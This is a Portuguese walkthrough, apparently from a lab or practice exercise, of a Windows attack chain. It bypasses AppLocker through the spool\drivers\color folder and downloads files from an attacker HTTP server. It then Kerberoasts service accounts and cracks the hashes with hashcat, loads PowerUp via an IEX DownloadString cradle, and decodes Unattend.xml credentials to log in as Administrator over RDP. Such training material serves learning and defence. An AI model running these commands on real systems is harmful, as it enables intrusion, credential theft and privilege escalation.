Técnicas de Bypass do AppLocker e Elevação de Privilégios em Windows

Bypass do AppLocker

O AppLocker é uma funcionalidade do Windows que restringe a execução de programas com base em regras. No alvo desta prática, ele está configurado para impedir a execução de binários não confiáveis.

Uma técnica para contornar essa restrição envolve mover o executável para um diretório que está na lista de permissões padrão. Este diretório é: C:\Windows\System32\spool\drivers\color.

Primeiro, abra um servidor HTTP simples em sua máquina de ataque (Kali) para servir o arquivo.

# Na máquina Kali
sudo python3 -m http.server 8080

No alvo, utilize o PowerShell para baixar o arquivo e salvá-lo no caminho permitido.

# No alvo, via PowerShell
$downloadUrl = "http://192.168.1.100:8080/whoami.exe"
$destPath = "C:\Windows\System32\spool\drivers\color\test.exe"
(New-Object Net.WebClient).DownloadFile($downloadUrl, $destPath)

Execute o binário a partir do diretório autorizado.

cd C:\Windows\System32\spool\drivers\color
.\test.exe

Outro método para encontrar informações úteis é verificar o histórico do PowerShell. Ele armazena todos os comandos digitados em um arquivo de texto.

# No alvo
Get-Content -Path "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"

Kerberoasting

O ataque Kerberoasting explora o protocolo Kerberos no Active Directory. O objetivo é solicitar tickets de serviço (TGS) para contas de serviço e, em seguida, realizar um ataque offline de força bruta contra os hashes obtidos.

Primeiro, enumere as contas de serviço que possuem um Service Principal Name (SPN) definido.

# No alvo, via PowerShell
setspn -T corp.local -Q */*

Identificada a conta (ex: svc_web), o próximo passo é obter o hash do ticket de serviço.

# Carregar e executar o script Invoke-Kerberoast
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Out-File -FilePath "C:\Users\Public\hashes.txt"

Transfira o arquivo hashes.txt para sua máquina de ataque. O hash terá um formato que começa com $krb5tgs$23$*. Utilize o Hashcat para crackeá-lo.

# Na máquina Kali
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force

Com a senha obtida (ex: P@ssw0rd123), faça login como a conta de serviço comprometida.

# Na máquina Kali
xfreerdp /u:'corp\svc_web' /p:'P@ssw0rd123' /v:192.168.1.200 /cert:ignore

Elevação de Privilégios

Com acesso à máquina como um usuário comum, o próximo objetivo é obter privilégios de administrador. Execute um script de enumeração, como o PowerUp, para identificar vetores de ataque.

# No alvo, baixe e execute o script
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100:8080/PowerUp.ps1')
Invoke-AllChecks

O script pode identificar creednciais em arquivos de configuração, como um arquivo Unattend.xml deixado em um diretório do sistema.

cat C:\Windows\Panther\Unattend.xml

As credenciais encontradas costumam estar codificadas em Base64. Decodifique-as.

# Na máquina Kali
echo "UABhAHMAcwB3AG8AcgBkAA==" | base64 -d

Utilize a senha em texto claro decodificada (ex: Password) para se autenticar como Administrador.

# Na máquina Kali
xfreerdp /u:'corp\Administrator' /p:'Password' /v:192.168.1.200 /cert:ignore

Tags: AppLocker Bypass Kerberoasting Elevação de Privilégios PowerShell

Publicado em 6-21 04:15